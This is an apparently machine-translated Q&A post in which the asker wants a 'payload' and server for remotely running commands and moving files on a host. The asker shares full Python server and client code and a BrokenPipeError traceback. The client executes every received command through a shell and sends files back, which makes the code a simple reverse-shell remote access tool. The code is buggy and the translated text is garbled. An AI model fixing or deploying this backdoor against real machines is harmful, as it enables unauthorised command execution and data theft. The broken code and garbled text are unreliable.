ホストコンピュータでコマンドをダウンロード/アップロードまたは実行するために、小さなペイロードとサーバーを作成する必要があります。壊れたパイプsend()関数のエラー
エラー:
Traceback (most recent call last):
File "ServerCompletPAY.py", line 43, in <module>
a.send(command)
BrokenPipeError: [Errno 32] Broken pipe
私はしかし、私は別のコマンドを入力すると、エラーが生成され、それが正常に動作する初めてファイルを実行。
サーバコード:
import os
import socket
global opening_file
global name_file
global a
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(("0.0.0.0",1111))
s.listen(5)
a,c = s.accept()
print ("[*] We Are Connected ")
def shell() :
verbose = a.recv(102400)
print (verbose.decode(),"\n","\n")
def download_from_client():
opening_file = open(name_file,"wb")
opening_file.write(a.recv(102400))
x.close()
opening_file.close()
def download_to_client():
opening_file = open(name_file,"rb")
file_needed = opening_file.read()
a.send(file_needed)
a.close()
opening_file.close()
def main():
if first_word == "download":
download_to_client()
elif first_word == "upload" :
download_from_client()
else :
shell()
while True :
command = input("<Shell >")
name_file = command.split("/")[-1]
first_word = command.split(" ")[0]
command = command.encode()
a.send(command)
main()
クライアントコード:事前に
from subprocess import *
import os
import socket
def shell() :
commandexe = Popen(commandrecv.encode(),stdout=PIPE,shell=True)
comment = commandexe.communicate()[0]
s.send(comment)
def download() :
file_name = commentrecv.split("/")[-1]
opening_file = open(file_name,"rb")
s.send(opening_file.read())
opening_file.close()
def upload():
file_name = commentrecv.split("/")[-1]
opening_file = open(file_name,"wb")
file_name.write(s.recv(102400).decode())
file_name.close()
while True :
global s
global commandrecv
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",1111))
commandrecv_encoded = s.recv(1024)
commandrecv = commandrecv_encoded.decode()
first_word = commandrecv.split(" ")[0] #to know if i need to upload or download
if not commandrecv :
break;
else:
if first_word == "download":
download()
elif first_word == "upload" :
upload()
else :
shell()
ありがとう。それはあなたの問題に似て
私の答えがあなたのために働くならば、それを正しいものとしてマークし、それにコメントをしてください。 –